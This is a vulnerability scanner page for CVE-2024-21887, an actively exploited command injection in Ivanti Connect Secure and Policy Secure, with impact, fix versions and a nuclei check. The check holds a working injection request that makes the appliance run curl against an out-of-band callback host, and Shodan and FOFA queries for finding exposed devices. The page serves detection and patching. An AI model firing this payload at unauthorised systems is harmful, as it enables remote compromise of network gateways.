Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection

Exploited in the wild. Listed by CISA on 2024-01-10; known to be used by ransomware.

criticalseverity

9.1CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

Impact

Authenticated administrators can execute arbitrary OS commands on the Ivanti appliance, leading to complete system compromise.

Fix

Update Ivanti Connect Secure and Policy Secure to versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 or later.

How to confirm it

Send: GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains in header "application/json" AND contains "\"result\":" and "\"message\":"

Run it with nuclei: nuclei -id CVE-2024-21887 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-21887

info:
  name: Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) - Command Injection
  author: pdresearch,parthmalhotra,iamnoooob
  severity: critical
  description: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x)  allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
  impact: |
    Authenticated administrators can execute arbitrary OS commands on the Ivanti appliance, leading to complete system compromise.
  remediation: |
    Update Ivanti Connect Secure and Policy Secure to versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 or later.
  reference:
    - https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
    - http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
    - https://github.com/farukokutan/Threat-Intelligence-Research-Reports
    - https://github.com/lions2012/Penetration_Testing_POC
    - https://github.com/Chocapikk/CVE-2024-21887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-21887
    cwe-id: CWE-77
    epss-score: 0.99999
    epss-percentile: 1
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - "html:\"welcome.cgi?p=logo\""
      - http.title:"ivanti connect secure"
      - http.html:"welcome.cgi?p=logo"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: packetstorm,cve,cve2024,kev,rce,ivanti,vkev,vuln

http:
  - raw:
      - |
        GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - 'application/json'

      - type: word
        part: body
        words:
          - '"result":'
          - '"message":'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from